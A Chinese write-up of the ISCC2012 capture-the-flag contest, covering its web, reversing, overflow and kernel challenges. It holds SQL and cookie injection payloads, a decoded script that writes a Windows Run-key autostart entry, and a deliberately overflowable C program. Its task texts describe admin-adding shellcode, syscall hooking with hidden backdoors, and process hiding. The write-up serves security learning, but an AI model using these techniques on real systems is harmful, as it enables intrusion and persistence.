ISCC2012信息安全对抗竞赛题目分析
-
From: www.bhst.org & nightx.info
此文为简单分析绿盟&北理工安全对抗技术竞赛ISCC2012年线上赛,算是个笔记记录整理一下取key的过程。
此文公开时线上赛已结束。题目包含以下关卡:
基础关 各种类型的最简单的题目,最简单的得分点,考察各个方面的基础知识
脚本关 脚本注入、欺骗和跨站
破解关 一个编译好的程序,我怎么知道它是怎么工作的?
溢出关 软件漏洞的分析、利用及发掘技术,探索二进制代码背后的秘密
内核关 考察内核驱动的编写,探究内核安全的奥秘
真实关 真实的环境,没有硝烟的战场
其中个人完成所有取key题目,需要上传源文件的题目全部忽略。
如下为各关心得,仅代表个人思路。有文件的题目未上传,有需要的朋友可Mail联系。
=-=-=-=-=-=-=-=-=-=
基础关[共10关]:
第一关:船票制造商
在去找寻王小明的其他信息之前,我们先要知道船票的制造商是谁。经过一番调查,我们知道了制造商的名称。我们藏到了这个页面下,作为抢夺船票活动的热身,大家找出它来吧。
Key:一个保留节目,查看源码查找即可。第二关:登船地点
小明发现,登船的地点是一个负有盛名的景点,他想提前去那里看看,住一段时间,等待世界末日的到来。于是他上到一个他一直喜欢的自助游的网站—— “www.yododo.com”,查找以前人们的攻略游记,发现一个叫“想流浪”的驴友写的游记很好看,照的照片也很美。这篇游记上传于“2010年8 月10日”,而“想流浪”的出游日期是“2010年6月12日”。
那么,小明的登船地点(名字有5个字呦)到底在哪里呢?
Key:到网站找,留意关键词为五个字第三关:登船日期
王小明时常出国,他在国外游玩期间还申请了个facebook。他偏偏又爱炫耀,有什么都要说出去。据说他买完了船票就跑到脸书上把自己的要登船的事情说 了出去,引来了众人羡慕的眼光。现在,我们需要找到他发的那条状态,应该能得到一个登船日期,请以“YYYY-MM-DD”的格式发给我们。(据说他的 ID是Shellming Wong,头像是个囧,居住在北京。)
Key:会FQ就能找到。第四关:放弃了别人,只为了自己
保存所有登船人员的数据库的信息外泄了,小强(uid=345)拿到了权限。他想把自己的信息加进去,所以他打算偷梁换柱,替代小明(uid=564),使自己拥有小明的权限,一个包含人员信息的表名称为person,编号所在列名为uid.
Key:一个简单的sql语句
update person set uid=345 where uid=564第五关:购买船票的具体地点
你也许需要知道这张船票的购买地,以便能够进一步了解它的相关信息,下面这个貌似正则表达式的式子,也许会提供你足够的信息哦。
表达式:?[Copy to clipboard]View Code HTML1
(?<a>h)(?<b>u)(?<c>a)i\s+\k<a>\k<b>\k<c> 0\d{2}5Key:
看到这个题目难下不少朋友。关于正则表达式略有头疼。
(?exp) 匹配exp,并捕获文本到名称为name的组里,也可以写成(?’name’exp)
可以自己指定子表达式的组名。要指定一个子表达式的组名,请使用这样的语法:(?\w+)(或者把尖括号换成’也行:(?’Word’\w+)),这样就 把\w+的组名指定为Word了。要反向引用这个分组捕获的内容,你可以使用\k,所以上一个例子也可以写成这样:\b(?\w+)\b\s+\k\b。
故匹配出来应该为
huai hua 0??5
??为数字,由于题目说数字不是随意的。百度得到怀化(区号0745)。结果就出来了。第六关:领取船票还需要身份证号
王小明在网上购买船票时最重要的信息就是身份证号了,同时网站给了他一个程序用来算出一个用来替代身份证号的号码,这之后他在网上提交的就都是转换过后的 密码了。小白无奈之下,从网站那里拿来了程序,又截到了小明跟网站联络时使用的号码:172680739204438579。程序里有一段这样的代 码:“B311 F6E3 B30A F6F3 8AC4”。
细看起来,如果把0到9分别放到寄存器AL中去,将会得到10个不同的数值,就可以得到0-9之间的对应关系,进而将原码一位一位地转换成替代码。小白比较懒,所以解出身份证号码就交给你了。
Key:
十六进制放到OD中得到汇编代码。
B3 11 mov bl, 11
F6E3 mul bl
B3 0A mov bl, 0A
F6F3 div bl
8AC4 mov al, ah
代码作用为数字乘以11后除以A的余数,找到对应如下规律
0-0
1-7
2-4
3-1
4-8
5-5
6-2
7-9
8-6
9-3
172680739204438579对应为
316840197602294517第七关:捕风捉影
漫天散布着的是末日的气息 ,你嗅到了么?
Key:下载程序,抓包不解释第八关:保存我的船票序列号
为了较为安全的保存好完整的序列号,小明利用大一学的C语言编写了一个简单的程序把序列号藏了起来,获取序列号时首先得输入查看序列号的密码,通过比对确定查看权限,小明动了点儿小聪明,不过功夫还很不到家,他的代码存在一个溢出漏洞,利用这个漏洞把序列号取出来吧~
Key:溢出嘛,多填点数字就有了第九关:船票的CD-KEY在哪里
在获取真正的船票之前,可以从网上获得一张预览版。当我们把各个数据提交上去后,得到了一个程序,输入正确的口令后能得到一个船票底板。不过由于是王小明买的船票,我们不知道口令,但我们又需要底板上的CD-KEY。所以还烦请你把底板破解出来吧。
Key:简单用OD分析下程序就可以无压力找到Key第十关:又见密码
最后的时刻到了,要登陆小明的账号去领取船票,我们知道他的密码是在数字10071与90089之间。同时了解到密码经过下面这个dll文件中的 decode函数加密后结果是68912。现在,请你写一个小程序,找出这个密码是什么,并且提交,dll可以直接下载。提示一句:调用dll中的函数的 名称为decode,函数的输入参数是一个数字~祝您好运
Key:编写程序调用dll,或者直接IDA分析就容易发现key。
=-=-=-=-=-=-=-=-=-=
脚本关[共6关]第一关
你对linux命令知道多少,查看我的密码文件吧~
key:cat/ls命令即可查看第二关
貌似数据库里有个USER的表,表有一个USERNAME的字段,到底内容是啥?找出来吧~
Key:sql语句
http://www.isclab.org/script2/2012/2/page.php?page=1 and 1=2 union select 1,username from user第三关
无论输入什么都是已登录,到底是为什么呢?
Key:抓post包,修改flag=0即可第四关
数据库居然就放在了/data中。。晕死。。
Key:
/data目录,数据库名ISCC.mdb
提示在源码:?[Copy to clipboard]View Code HTML2
3
<p>难道数据库中没有您的用户名?<a href=# onclick=alert("网站维护中。。。")>点击这里查找</a></p>
<!-- search from ISCC.mdb-->数据库MDB加密,随便一个Access密码查看工具可得密码。
第五关
密码明文的年代,用cookie也能搜索!疯狂的世界,我的key在哪里呢?
Key:
Get与POST防注入,只能通过cookie手工注入。
利用title=参数实现。为ASP+Access。手工实现。
提示key是关键字,故构造语句需要[]
搜索型注入
select * from 表 where news like ‘%1%’ order by id desc;
使用cookie浏览器手工注入,注意构造语句后用工具转换为16进制作cookie。
在上面的1处,首先构造
1%’ and 0<>(select count(*) from [key]) and ‘%’=’
这样前后刚好能够闭合,若存在key表,则会正常显示数据
而后构造
1%’ and i<(select count(*) from [key]) and '%'='
i从0开始判断,当i=3时出错,i=4时正常,有三条数据
1%' and 1=2 union select * from [key] and '%'='出现from子句错误,换种方法闭合
1%' and 1=2 union select * from [key] where [key] like '提示列数不匹配
1%' and 1=2 union select 1,2,3 from [key] where [key] like '得到显示2
1%' and 1=2 union select 1,[key],3 from [key] where [key] like '
得到key:1aHGJ47PQlguLqxv第六关
貌似只有那些没有安全意识的人才能够做出来的题目。。推荐使用IE,当然途径很多。?[Copy to clipboard]View Code HTML0
1
2
<script language="JScript.Encode">
#@~^7gEAAA==-mD~Dks+D,'Srx9WARk+O( Y+M-l^`@#@&77d6E mOkGU,P~MrYInLv# @#@&i\CD,G(L~{P +h,b1Ok7+pr(Ln^D`JqjmMkwD jtV^Jbi@#@&iW8Lc]+T.rD+`Eun2e{d6;bJ|HzZC&1Aw-UWWYSl.n'-Hb^DK/W6Ow-qk NGhdw'Z;DMnxD.n.kkWUw'I;x'w&?/;JBJtDYalzJhAhckd^^l4cGDTz/1.rwD&J TF+&+zq |+&|&* 4Y:sEBJ]2VmU}E*i,@#@&i\m.P&/^mjls;P',G4NRIL]+mNvJu|3e|S6ZzJ{tb /u&12wwUWWYSCM+w'HbmDK/KWY'- k NGAk--;;DM+xD#nDkkKxw-]; -wqU /Zr#I@#@&dkWc&/^mjC^Ene'rJ#@#@&i`@#@&d7l^+.OvJ来自qU/Z的关 照。。r#i@#@&7dSk NGh ^^+CD&UYD-C^`YrhDbi@#@&i8@#@&d)@#@&i~lT!Z#IyZQAAA==^#~@
</script>Key:JScript.Decode解密一下
var timer =window.setInterval(
function WriteReg(){
var obj = new ActiveXObject(“WScript.Shell”);
obj.RegWrite(“HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ISCC”,”http://www.isclab.org/script3/2012/6/12_23_34.html”,”REG_SZ”);
var IsccValue = obj.RegRead(“HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ISCC”);
if(IsccValue!=”")
{
alert(“来自ISCC的关照。。”);
window.clearInterval(timer);
}
}
,5000);
得到http://www.isclab.org/script3/2012/6/12_23_34.html
即答案:the password is !@#$%234
=-=-=-=-=-=-=-=-=-=
破解关[共四关/前三关为key]第一关
Key:无壳无保护,明文参考得到key为2012第二关
Key:使用2012为用户名找到正确的注册码,同样无壳无保护,载入OD下断点单步跟踪即可获取key第三关
Key:也是难到不少新手的题目,有壳保护,打算不脱壳破解,运行StrongOD插件隐藏OD,运行,bp MessageBoxA断点,弹窗,中断,堆栈回溯,回到程序领空。字符串参考即可找到key。第四关
这是警察抓小偷的对话工具。。希望大家自己写一个程序,能够实现类似Thief端与我们提供的police实现的主要对话功能~
语言限定为C/C++。。。
提交程序源代码以及程序运行截图~
程序没有经过多方测试,bug不少,不喜勿喷。仅供学习,娱乐。。
Key:不是取key,没有做,大致看了下题目,只是有点好奇,这是破解题目?还是偏向逆向工程吧…
=-=-=-=-=-=-=-=-=-=
溢出关[共两关/第一关为key]第一关
小妹妹记性差,我给她做了一个简单的密码验证程序,需要输入正确的密码,才会显示正确信息,这一天,她倔脾气上来了,非要输入“ISCC2012”这个密码,去通过验证,我觉得这明显不行,但是当她输入自己的英文绰号后竟然过了。。。那你猜她的名字至少有多长。。。
程序源代码如下:
#include “stdio.h”
#include “string.h”
int main()
{
int isPassed;
char yourname[20];
char answer[10];
char password[10] = “woshimima”;gets(answer);
isPassed = (strcmp(password, answer) == 0) ? 1 : 0;
gets(yourname);//注入点,要在这里让程序溢出,让isPassed为1
if(isPassed)
printf(“You got it, %s!\n”, yourname);
else
printf(“Hey %s, u may try again!”, yourname);getchar();
return 0;
}Key:记得是0day安全书中的例题?OD跟踪调试,得到21位数字恰好覆盖。
第二关
想要一段shellcode。。。
主要功能:使用cmd添加名为xkjcf的用户,并将该用户添加在administrators用户组中.
系统环境:Windows XP Professional 版本 2002 SP3
啥叫shellcode呢?
内存中的数据就是许许多多的01010101010.。。。。。。。。当作字符来读,他就是字符;当作程序执行,他就是程序。那么shellcode的就是一个以code形式写入内存,但是以shell身份运行的二进制码呦~~
Key:提交题目,没有做。不过不难,也算是经典例题。
=-=-=-=-=-=-=-=-=-=
内核关[共5关/第一关为Key]
第一关
过关密码就在内核里,编写用户态程序把它读出来吧~
提示:可以使用GetFileSize查询密码的长度
Key:投机取巧的方法,C32asm发现Key为u7h0E3XvF0,题目有表示使用GetFileSize,分析后取长度为前5个字符。
以下几关把题目分享出来,不是取key题目,没有做,有兴趣的朋友可以做下。第二关
来到内核的第二关,让我们做点儿有意义的事情吧,进程隐藏技术是内核安全里一个古老但又颇受关注的技术,Danny刚入门内核安全时第一个就拿它开刀,你 来实现一个吧,在taskmgr.exe里隐藏掉explorer.exe即可。(需要提交源代码,及编译时必须的文件)第三关
对Linux内核进行kernel exploit攻击有一个很经典的方式就是获取内核中syscall_table,然后对系统调用进行替换。
而获取syscall_table有很多种方式,比如查看System.map或者/proc/kallsyms以查找syscall_table地址, 但这两种方式在很多情况下无法使用,比如系统内不存在System.map或者syscall_table在kallsyms中隐藏了而不显示,另一种方 式则是通过编写一个系统模块在内核态运行时手动搜索其地址。
现在请你完成一个可以正确查找syscall_table地址的内核模块,并在加载时用printk把地址进行显示。要求:
1.测试环境为Linux Kernel 3.0(或更高版本) x86;
2.提交一个压缩包(用tar.gz或tar.bz2格式),包含内核模块源代码、Makefile,最终要求运行用户程序后可以显示出”syscall_table = 0x*****!”。测试流程大致如下:
(root 状态操作)
# make
# insmod sys_call_module.ko
# dmesg | grep syscall_table
然后判断该返回的地址是否正确。注意:
通过/proc/kallsyms或者/usr/src/linux/vmlinuz查找符号索引得到的syscall_table有时可能并不正确,所以验证自己代码时不要以此为标准。要求:提交一个压缩包,内含源代码和Makefile
第四关
Neo一直在Matrix的一个子系统Zeus中潜伏着,而且最近一个月幸运的骗取到一个Kernel贡献者的身份。
昨天,Zeus交给Neo一个任务,帮它实现223号系统调用,详细说明在内部mail list的一封邮件中。
Neo想在实现必要功能的同时留下一些日后可供Morpheus和Trinity日后使用的隐藏漏洞,现在请你帮助Neo完成创建新223号系统调用的任务,实现的系统调用功能细节不需考虑,只要能使用户正常调用即可。
现在假设Zeus的内核为x86的Linux Kernel 3.0,并且32位Linux内核并未给223系统调用号分配实际的系统调用函数。你需要把要求的syscall实现成一个可以动态加载内核模块,系统调用格式及部分内容如下:asmlinkage int neo_syscall(void) {
printk(KERN_DEBUG “In neo_syscall!\n”);
/* test the return value */
return 223;
}要求:
1.需要以动态加载模块的形式增加此系统调用,不允许修改内核源码;
2.系统调用函数的代码只要使用上述代码即可,不需考虑其他细节;
3.编写用户空间程序以测试该系统调用是否可用,测试程序如下:/* user_test.c */
#include
#includeint main()
{
int ret = 0;ret = syscall(223);
printf(“return value = %d\n”, ret);return 0;
}4.测试的环境为Linux Kernel 3.0(或更高版本) x86;
5.提交的文件为一个压缩包(用tar.gz或tar.bz2格式),包含neo_syscall内核模块的源代码、Makefile、用户程序 (即3中提供的代码),最终要求运行用户程序后可以显示出”In neo_syscall!”(printk进行DEBUG级别显示即可,不一定要输出到stdout)。
测试流程大致如下:
(root 状态操作)
# make
# insmod sys_call_module.ko
(普通用户状态操作)
$ ./user_test
$ dmesg | grep “In neo_syscall!”提交:
一个压缩包,内含源代码和Makefile第五关
该驱动实现了一个workqueue(具体参考ExQueueWorkItem函数),工作队列线程会每隔1秒钟输出一次,打印出自身函数地址。
假设你不知道该函数地址。请根据workqueue在内核中的实现,找出一种方法,可以列出第三方驱动加载后创建的workqueue的真实函数地址。
以这个驱动为例,只需一种系统即可。
=-=-=-=-=-=-=-=-=-=
真实关[共两关]
非取key题目,给出两个目标,提交渗透报告与视频。因为服务器比较慢,没有做。
=-=-=-=-=-=-=-=-=-=
Summary:
有些题目蛮不错,能让自己找下欠缺的知识。不过可能由于时间等问题,竞赛方管理组织方面还有待做得更好。